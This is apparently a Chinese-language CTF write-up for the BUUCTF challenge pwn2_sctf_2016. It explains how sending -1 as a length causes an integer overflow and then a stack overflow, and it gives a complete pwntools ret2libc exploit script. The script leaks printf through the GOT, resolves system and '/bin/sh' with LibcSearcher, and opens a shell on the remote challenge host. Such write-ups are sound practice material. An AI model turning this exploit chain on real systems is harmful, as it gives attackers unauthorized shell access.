这道鬼题不难却卡了我好久，再前几天很久没好好学习生疏许多
    老规矩checksec
    image.png
    只有栈不可执行
    image.png
    反编译结果
    get_n是自己创造的一个函数
    image.png
    这其实就是在nptr这个缓冲区上进行操作然后的话
    get_n(&nptr, v2);
    image.png
    image.png
    这三个地方一起造成了栈溢出
    所以这是一道整数溢出并且泄露libc的一道题目，泄露的函数就用printf

    1. from pwn import *
    2. from LibcSearcher import* 
    3. context(log_level = 'debug')
    5. #io = process("pwn2_sctf_2016")
    6. io = remote("node4.buuoj.cn",27531)
    7. #context.arch = "amd64"
    8. elf = ELF('pwn2_sctf_2016')
    9. offest = 0x2c
    10. main_addr = elf.sym['main']
    11. printf_plt =elf.plt['printf']
    12. printf_got =elf.got['printf']
    13. io.recvuntil('How many bytes do you want me to read? ')
    14. io.sendline('-1')
    15. io.recvuntil('\n')
    16. payload = b'a'*(offest+4) +p32(printf_plt) + p32(main_addr) +p32(printf_got) 
    17. #printf_addr =0xf7e4c680
    18. io.sendline(payload)
    19. io.recvuntil('\n')
    20. printf_addr = u32(io.recv(4))
    21. log.success('printf==>'+hex(printf_addr))
    22. libc=LibcSearcher('printf',printf_addr)
    23. libc_base = printf_addr-libc.dump('printf')
    24. system_addr = libc_base+libc.dump('system')
    25. sh_addr = libc_base+libc.dump("str_bin_sh")
    26. io.recvuntil('How many bytes do you want me to read? ')
    27. io.sendline('-1')
    28. io.recvuntil('\n')
    29. payload1= b'a'*(offest+4)+p32(system_addr)+b'aaaa'+p32(sh_addr)
    30. io.sendline(payload1)
    31. io.interactive()

    本地的libc我已经很久没打通了，我要想办法加加本地的libc库，毕竟打比赛直接打服务器还会扣分
    以后学好了想把elf.plt elf.got gdb 中的got好好写写
    这道题和前面的heap题卡了好久了，还是太菜